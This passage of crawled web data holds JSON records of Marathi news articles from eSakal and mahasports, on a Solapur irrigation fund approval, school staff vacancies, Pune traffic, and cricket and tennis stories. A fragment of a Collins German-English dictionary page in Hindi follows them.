नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00340.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.esakal.com/paschim-maharashtra/ekrukh-412-crores-spm-137828", "date_download": "2018-09-25T17:53:50Z", "digest": "sha1:EWSCORVY75JQZ2JZQ7NDSUYPCKDJJPD3", "length": 12727, "nlines": 176, "source_domain": "www.esakal.com", "title": "For Ekrukh 412 crores SPM \"एकरुख'साठी 412 कोटींची \"सुप्रमा' | eSakal", "raw_content": "\n\"एकरुख'साठी 412 कोटींची \"सुप्रमा'\nबुधवार, 15 ऑगस्ट 2018\nसोलापूर : एकरुख उपसा सिंचन योजनेसाठी जलसंपदा विभागाने 412 कोटी 80 लाख रुपयांच्या निधीस आज सुधारित प्रशासकीय मान्यता (सुप्रमा) दिली आहे. ही मान्यता देताना 2013-14 च्या दरसूचीचा आधार घेतला आहे. जून 2019 पर्यंत या योजनेच्या माध्यमातून 10 हजार हेक्‍टरची सिंचन क्षमता निर्माण करण्याच्या सूचनाही जलसंपदा विभागाने दिल्या आहेत.\nसोलापूर : एकरुख उपसा सिंचन योजनेसाठी जलसंपदा विभागाने 412 कोटी 80 लाख रुपयांच्या निधीस आज सुधारित प्रशासकीय मान्यता (सुप्रमा) दिली आहे. ही मान्यता देताना 2013-14 च्या दरसूचीचा आधार घेतला आहे. जून 2019 पर्यंत या योजनेच्या माध्यमातून 10 हजार हेक्‍टरची सिंचन क्षमता निर्माण करण्याच्या सूचनाही जलसंपदा विभागाने दिल्या आहेत.\nएकरुख उपसा सिंचन योजनेसाठी उजनी धरणातून सोडलेले पाणी कारंबा पंपगृहाद्वारे हिप्परगा-एकरुख तलावात सोडण्यात येणार आहे. एकरुख तलावातून हे पाणी दोन टप्यात उपसा केले जाणार आहे. दर्गनहळ्ळी (ता. दक्षिण सोलापूर) कालव्याद्वारे दक्षिण सोलापूर तालुक्‍याच्या अवर्षण प्रवण असलेल्या 21 गावातील सात हजार 200 हेक्‍टर क्षेत्रातील शेतकऱ्यांना या पाण्याचा फायदा होणार आहे. त्याचबरोबर दर्शनाळ कालव्याद्वारे हरणा नदीमार्गे बोरी मध्यम प्रकल्पामध्येही सव्वा एक टीएमसी पाणी सोडले जाणार आहे.\nबोरी मध्यम प्रकल्पामध्ये सोडलेल्या पाण्याचा उपयोग अक्कलकोट तालुक्‍यातील गावांना होणार आहे. 412 कोटी 80 लाख निधीपैकी प्रत्यक्ष कामासाठी 380 कोटी 85 लाख रुपये खर्च करता येणार आहे. उर्वरित 32 कोटी 55 लाख रुपये आनुषंगिक बाबीसाठी खर्च करता येणार आहेत. भूसंपादन व वितरण व्यवस्थेसाठी या पैशाचा उपयोग करायचा आहे.\nबंदिस्त नलिकेचा करा वापर\nया योजनेचे काम करताना ज्याठिकाणी तांत्रिकदृष्ट्या शक्‍य आहे, त्याठिकाणी बंदिस्त नलिकेचा वापर करण्याच्या सूचनाही जलसंपदा विभागाने अधिकाऱ्यांना दिल्या आहेत. यामुळे पाण्याचा अपव्यय टळणार आहे. लाभक्षेत्रामध्ये पाणी वापर संस्था स्थापन करण्याच्या सूचनाही ही \"सुप्रमा' देतेवेळी केल्या आहेत.\nदुष्काळातही शेतकरी आशावादी ; ज्वारीची पेरणी सुरू\nकरमाळा : करमाळा तालुक्‍यात पावसाने ओढ दिली आहे. खरिपाची पिके अक्षरशः करपून गेली. काहीही खरीप हाती लागले नाही. तरीही आशावाद जीवंत ठेवत शेतकऱ्यांनी...\nबीडमध्ये घर परवान्यावर शाळा बांधकाम ; गुन्हा दाखल\nबीड : नगर पालिकेकडून घराच्या बांधकामाचा परवाना घेऊन शहरातील अजिजपुरा भागात शाळेचे बांधकाम केल्याचे स्वच्छता विभागाच्या पाहणीत समोर आले आहे....\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nबऊर शिवारात आढळला बिबट्या\nहिंगोली : कळमनुरी तालुक्यातील बऊर शिवारामध्ये बिबट्याने एका बैलाचा फडशा पाडल्यानंतर वन विभागाने लावलेल्या कॅमेऱ्यात मंगळवारी (ता. २५ ) बिबट्याचे...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00340.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.esakal.com/uttar-maharashtra/teacher-post-recruitment-agitation-118038", "date_download": "2018-09-25T17:28:30Z", "digest": "sha1:TAL6US2TEXQVXA5HGUTMDQN2UEZIZHNR", "length": 11675, "nlines": 171, "source_domain": "www.esakal.com", "title": "teacher post recruitment agitation पदे भरा; अन्यथा विधानसभेसमोर आंदोलन | eSakal", "raw_content": "\nपदे भरा; अन्यथा विधानसभेसमोर आंदोलन\nसोमवार, 21 मे 2018\nनाशिक - गेल्या पाच वर्षांपासून रिक्त असलेली माध्यमिक शिक्षकेतरांची पदे भरा; अन्यथा येत्या पावसाळी अधिवेशनाच्या काळात विधानसभेसमोर धरणे आंदोलन करण्याचा निर्णय आज महाराष्ट्र राज्य माध्यमिक शाळा शिक्षकेतर संघटनांच्या महामंडळाच्या बैठकीत घेण्यात आला.\nनाशिक - गेल्या पाच वर्षांपासून रिक्त असलेली माध्यमिक शिक्षकेतरांची पदे भरा; अन्यथा येत्या पावसाळी अधिवेशनाच्या काळात विधानसभेसमोर धरणे आंदोलन करण्याचा निर्णय आज महाराष्ट्र राज्य माध्यमिक शाळा शिक्षकेतर संघटनांच्या महामंडळाच्या बैठकीत घेण्यात आला.\nमहामंडळाची राज्यस्तरीय बैठक आज रवींद्र विद्यालयात महामंडळाचे अध्यक्ष एस. बी. डोंगरे यांच्या अध्यक्षतेखाली झाली. त्यात 2012 पासून बंद असलेल्या शिक्षकेतर कर्मचारी भरतीवर प्रामुख्याने चर्चा झाली. सध्या माध्यमिक शाळेतील शिक्षकांची चाळीस हजार पदे रिक्त आहेत. नवीन भरती होत नाही. पदोन्नती, अनुकंपा यांचा विचारही होत नाही.\nपदोन्नतीवर बंदी नसतानाही ती दिली जात नाही. ग्रंथपाल पदवीधर वेतनश्रेणीच्या प्रतीक्षेत आहेत. परिचर पदे अनिश्‍चितेच्या भोवऱ्यात आहेत. अशा विविध समस्यांवर डोंगरे यांनी या वेळी पदाधिकाऱ्यांशी संवाद साधला व येत्या पावसाळी अधिवेशन काळात एक मोठे आंदोलन करून ही रिक्त पदे भरण्याबाबत शासनाला प्रवृत्त करण्याचा निर्धार करण्यात आला. पदोन्नतीचा प्रश्‍न मार्गी लागण्यासाठी न्यायालयात याचिका दाखल करून दबाव वाढविण्याचे या वेळी ठरले. सातव्या वेतन आयोगाच्या शिफारशींवरही चर्चा झाली.\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nशरद पवारांनी सोडविली दोन वाहिन्यांमधील 'कुस्ती'\nपुणे- कुस्ती स्पर्धा भरविण्यावरुन दोन मराठी वाहिन्यांमध्ये सुरु असलेल्या वादावर शरद पवार यांनी मध्यस्थी केली आहे. या दोन्ही वाहिन्यांनी कुस्तीगीर...\nऔषध व्यापार 'बंद' आंदोलनात साक्री तालुका केमिस्ट सहभागी\nनिजामपूर-जैताणे (धुळे) : साक्री तालुक्यातील निजामपूर, पिंपळनेर, दहीवेल, कासारे व म्हसदी येथे केमिस्ट असोसिएशनच्या तालुका पदाधिकाऱ्यांनी नुकत्याच औषध...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00340.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.esakal.com/citizen-journalism/traffic-movement-tilak-road-137747", "date_download": "2018-09-25T17:32:15Z", "digest": "sha1:ZTI3NINCY3RVOMRPINHPPFIPYOOQEI2G", "length": 10184, "nlines": 168, "source_domain": "www.esakal.com", "title": "Traffic movement on Tilak road टिळक रस्त्यावर वाहतूक कोंडी | eSakal", "raw_content": "\nटिळक रस्त्यावर वाहतूक कोंडी\nमंगळवार, 14 ऑगस्ट 2018\nपुणे : महाराष्ट्र राज्यच्या एसटी आराम निम आराम, शिवशाही, तसेच इतर राज्यांच्या प्रवासी बस टिळक रस्त्याने जाण्यास मनाई आहे. तरी या प्रवासी बस टिळक रस्त्याने दिवसा-रात्री स्वारगेट स्थानककडे जात असतात. त्यामुळे टिळकरस्त्यावर वाहतूक कोंडी होत आहे. काल (ता.14) दुपारी 12.40 वाजता टिळक रस्त्यावर शिवशाही बस स्वारगेटकडे जाताना ट्रॅफिक जॅम झाले होती. महापालिका आणि वाहतूक पोलिस याकडे लक्ष्य देतील का \nपुणे : महाराष्ट्र राज्यच्या एसटी आराम निम आराम, शिवशाही, तसेच इतर राज्यांच्या प्रवासी बस टिळक रस्त्याने जाण्यास मनाई आहे. तरी या प्रवासी बस टिळक रस्त्याने दिवसा-रात्री स्वारगेट स्थानककडे जात असतात. त्यामुळे टिळकरस्त्यावर वाहतूक कोंडी होत आहे. काल (ता.14) दुपारी 12.40 वाजता टिळक रस्त्यावर शिवशाही बस स्वारगेटकडे जाताना ट्रॅफिक जॅम झाले होती. महापालिका आणि वाहतूक पोलिस याकडे लक्ष्य देतील का \nअनैतिक संबंधातून खून; दोघांना जन्मठेप\nनाशिक : अनैतिक संबंधावरून दम दिल्याच्या रागातून आरोपीने साथीदाराच्या मदतीने प्रेयसीचा पती दशरथ ठमके यांचा निर्घृणपणे खून केला. त्यानंतर पुरावा...\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nशरद पवारांनी सोडविली दोन वाहिन्यांमधील 'कुस्ती'\nपुणे- कुस्ती स्पर्धा भरविण्यावरुन दोन मराठी वाहिन्यांमध्ये सुरु असलेल्या वादावर शरद पवार यांनी मध्यस्थी केली आहे. या दोन्ही वाहिन्यांनी कुस्तीगीर...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00341.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "https://mahasports.co.in/james-anderson-is-biggest-sledger-says-steve-smith/", "date_download": "2018-09-25T17:02:12Z", "digest": "sha1:DCGAREEFZPPG6SBTO7N45TVEJRE5YSDI", "length": 6370, "nlines": 59, "source_domain": "mahasports.co.in", "title": "स्मिथ म्हणतो हा आहे जगातील सर्वात मोठा स्लेजिंग करणारा खेळाडू ! -", "raw_content": "\nस्मिथ म्हणतो हा आहे जगातील सर्वात मोठा स्लेजिंग करणारा खेळाडू \nस्मिथ म्हणतो हा आहे जगातील सर्वात मोठा स्लेजिंग करणारा खेळाडू \nदुसऱ्या ऍशेस सामन्याच्या पूर्वसंध्येला झालेला पत्रकार परिषदेत ऑस्ट्रेलियाचा कर्णधार स्टिव्ह स्मिथने जिमी अँडरसनला सर्वात मोठा स्लेजिंग करणारा खेळाडू खेळाडू म्हटले आहे.\nकाही दिवसांपूर्वी एका लेखात जिमी अँडरसनने ऑस्ट्रेलियन खेळाडूंवर टीका करताना ते मोठ्या प्रमाणावर स्लेजिंग करतात असे म्हटले होते. यावर स्मिथने भाष्य करताना म्हटले आहे, ” हा लेख मनोरंजक होता. मी तो वाचला आहे. त्यात आम्हाला स्लेजिंग करणारे आणि गुंड प्रवृत्तीचे म्हटले आहे. “\n” परंतु मी प्रामाणिकपणे सांगतो, जिमी अँडरसन हाच सर्वात मोठा स्लेज करणारा खेळाडू आहे. “\n” माझ्याबद्दल बोलायचे झाले तर २०१०मध्ये जेव्हा मी सुरुवात केली होती तेव्हा मला जिमीच्या या स्लेज वागण्याचा चांगलाच अनुभव आलेला आहे. तो यात दुसऱ्या खेळाडूंना सतत ओढत असतो. “\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00341.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://mahasports.co.in/roger-federer-withdraws-french-open-tennis-2017-to-focus-on-hard-court-and-grass-court-tournaments-in-july/", "date_download": "2018-09-25T17:49:27Z", "digest": "sha1:O2TBW3MTBIN7OQBBD5FAEEXM4ZRMHCJT", "length": 7915, "nlines": 62, "source_domain": "mahasports.co.in", "title": "१८ वेळेचा ग्रँडस्लॅम चॅम्पियन रॉजर फेडेरेरची फ्रेंच ओपनमधून माघार -", "raw_content": "\n१८ वेळेचा ग्रँडस्लॅम चॅम्पियन रॉजर फेडेरेरची फ्रेंच ओपनमधून माघार\n१८ वेळेचा ग्रँडस्लॅम चॅम्पियन रॉजर फेडेरेरची फ्रेंच ओपनमधून माघार\nटेनिस सम्राट रॉजर फेडररने २०१७च्या फ्रेंच ओपन टेनिस स्पर्धेतून माघार घेतली आहे. ही स्पर्धा ह्या महिन्याच्या शेवटी २८ तारखेला सुरु होऊन ११ जूनला संपणार आहे.\n३५ वर्षीय फेडेररने या स्पर्धेत न खेळण्यामागे कारकिर्दीचा कालावधी वाढावा हे मुख्य कारण आहे.\nफेडरर जुलै महिन्यापासून सुरु होणाऱ्या हार्ड ग्रास कोर्टच्या स्पर्धांना प्राधान्य देणार आहे. त्यात विंबल्डन ही मुख्य ग्रँडस्लॅम स्पर्धा आहे.\nजानेवारी महिन्यात झालेल्या ऑस्ट्रेलियन ओपन स्पर्धेत सनसनाटी विजय मिळवून त्याने मोसमाची जोरदार सुरुवात केली. यावर्षी खेळलेल्या ४ स्पर्धांत ३ विजेतेपद फेडररने जिंकली आहेत. त्यात त्याने त्याचा पारंपरिक प्रतिस्पर्धी नदाल वर ३ विजय मिळविले आहे.\n२००९ साली फ्रेंच ओपन जिंकून फेडररने करिअर ग्रँडस्लॅम पूर्ण केले होते. आज फेडेरेरच्या खात्यात विक्रमी १८ ग्रँडस्लॅम पदके आहेत. माद्रिद ओपन पूर्वी फेडरर जागतिक क्रमवारीत चौथ्या स्थानी होता. या आठवड्यात नदालने माद्रिदमधील स्पर्धा जिंकून त्याला क्रमवारीत मागे टाकले. विंबल्डन तीन जुलैपासून सुरू होणार आहे.\nगेल्या वर्षी प्रथमच दुखापतीमुळे फेडरर फ्रेंच ओपनमध्ये खेळू शकला नव्हता. टेनिसचा १९९९ मध्ये श्रीगणेशा केल्यापासून फेडरर दुसऱ्यांदाच फ्रेंच ओपनमध्ये खेळत नाही. बाकी ग्रँडस्लॅम स्पर्धांपेक्षा ही स्पर्धा फेडररसाठी कायमच खडतर ठरलेली आहे.\nपुढील वर्षी होणाऱ्या फ्रेंच ओपनमध्ये फेडररने सहभागी व्हायचा विश्वास प्रकट केला आहे.\nअखेर रविंद्र जडेजाने तो सचिन तेंडुलकरचा विक्रम मोडलाच\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00341.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://mahasports.co.in/stats-virat-kohli-scored-recorded-30th-odi-hundred/", "date_download": "2018-09-25T17:22:20Z", "digest": "sha1:HOAKR43KQWJECSLKD3ZU6KHXAHZSNBKJ", "length": 8322, "nlines": 68, "source_domain": "mahasports.co.in", "title": "टॉप ५: कोहलीचे हे वनडे'मधील विराट विक्रम ! -", "raw_content": "\nटॉप ५: कोहलीचे हे वनडे’मधील विराट विक्रम \nटॉप ५: कोहलीचे हे वनडे’मधील विराट विक्रम \n भारतीय संघाचा विराट कोहलीने श्रीलंकेविरुद्ध खेळताना वनडे कारकिर्दीतील ३०वे शतक केले. याबरोबर भारतीय संघाला मोठा विजय मिळवून दिला.\nया मालिकेत दोन शतकी खेळी करणाऱ्या विराटने याबरोबर अनेक विक्रम केले. हे सर्व विक्रम\n१. सर्वाधिक वनडे शतके करणाऱ्या खेळाडूंच्या यादीत दुसऱ्या स्थानी. रिकी पॉन्टिंग आणि विराटची सारखीच ३० शतके\n२. श्रीलंकेविरुद्ध सर्वाधिक वनडे शतके करणाऱ्या खेळाडूंच्या यादीत मास्टर ब्लास्टर सचिन तेंडुलकरसह पहिल्या स्थानावर\n३. विराट कोहलीने सलग दोन सामन्यात शतकी खेळी करण्याची ही ५वी वेळ होती. दक्षिण आफ्रिकेच्या एबी डिव्हिलिअर्सने ६वेळा अशी कामगिरी केली आहे.\n४.भारतीय संघाचा वनडे कर्णधार म्हणून ही कोहलीची ८वी शतकी खेळी होती\n५. विराटने १८६ वनडे इंनिंगमध्ये ३० शतके केली आहेत. सचिनने एवढ्याच डावात १६ तर पॉन्टिंगने १५ शतके केली होती.\n६.वनडे सामन्यात ३० शतके करण्यासाठी विराट कोहलीला १८६ डाव तर सचिनला २६७ आणि पॉन्टिंगला ३४९ डाव लागले होते.\n७. विराट कोहलीने यावर्षी १८ सामन्यात ९२.४५ च्या सरासरीने १०१७ धावा केल्या आहेत. यावर्षी वनडेमध्ये १००० धावा करणारा विराट पहिला खेळाडू आहे.\n८. विराटने ५व्यांदा कारकिर्दीत एका वर्षात १००० किंवा त्यापेक्षा जास्त धावा वनडे सामन्यात केल्या आहेत. मास्टर ब्लास्टर सचिन तेंडुलकरने अशी कामगिरी ७ वेळा तर गांगुली, संगकारा आणि पॉन्टिंग यांनी ६वेळा केली आहे.\n९. विराट कोहलीचे हे श्रीलंकेविरुद्ध श्रीलंकेतील ४थे वनडे शतक होते.\n१०. वयाच्या २८व्या वर्षी विराटने ३० वनडे शतके केली आहेत.\n११. या वर्षी ३०० किंवा त्यापेक्षा जास्त धावा करणाऱ्या खेळाडूंच्या यादीत विराटची सरासरी ही सर्वात जास्त अर्थात ९२.४५ आहे. दुसऱ्या क्रमांकावर एमएस धोनी असून धोनीची सरासरी ९१.३३ आहे.\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00341.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://www.collinsdictionary.com/hi/dictionary/german-english/abgeschlossen", "date_download": "2018-09-25T17:10:32Z", "digest": "sha1:UCDPI4YPG4QZCXTUWTRY7IVGERMF32PK", "length": 6775, "nlines": 143, "source_domain": "www.collinsdictionary.com", "title": "Abgeschlossen का अंग्रेजी अनुवाद | कोलिन्स जर्मन-अंग्रेज़ी शब्दकोश", "raw_content": "जर्मन से अंग्रेज़ी शब्दकोश | वीडियो | पर्यायकोश | School | अनुवादक | कोबिल्ड ग्रामर पैटर्न | स्क्रैबल | वेबदैनिकी\n| साइन अप करें | लॉग इन करें मुख्य-पृष्ठ पर जाएं\nअंग्रेज़ी अंग्रेजी कोश अंग्रेजी शब्द सूची अमेरिकी पर्यायकोश ग्रामर आराम से सीखना Easy Learning Spanish Easy Learning French Easy Learning German Easy Learning Italian अंग्रेजी - फ्रेंच फ्रेंच - अंग्रेज़ी अंग्रेजी - जर्मन जर्मन - अंग्रेज़ी अंग्रेजी - स्पेनिश स्पेनिश - अंग्रेज़ी अंग्रेजी - इतालवी इतालवी - अंग्रेज़ी अंग्रेजी - चीनी चीनी - अंग्रेज़ी अंग्रेज़ी - पुर्तगाली पुर्तगाली - अंग्रेज़ी अंग्रेजी - हिन्दी हिंदी - अंग्रेजी\nजर्मन से अंग्रेज़ी शब्दकोश वीडियो पर्यायकोश School अनुवादक व्याकरण स्क्रैबल वेबदैनिकी\nसाइन अप करें लॉग इन करें मुख्य-पृष्ठ पर जाएं\nabgeschlossen का अंग्रेजी अनुवाद\nउदाहरण वाक्य जिनमे abgeschlossenशामिल है\nये उदाहरण स्वचालित रूप से चुने गए हैं और इसमें संवेदनशील सामग्री हो सकती है अधिक 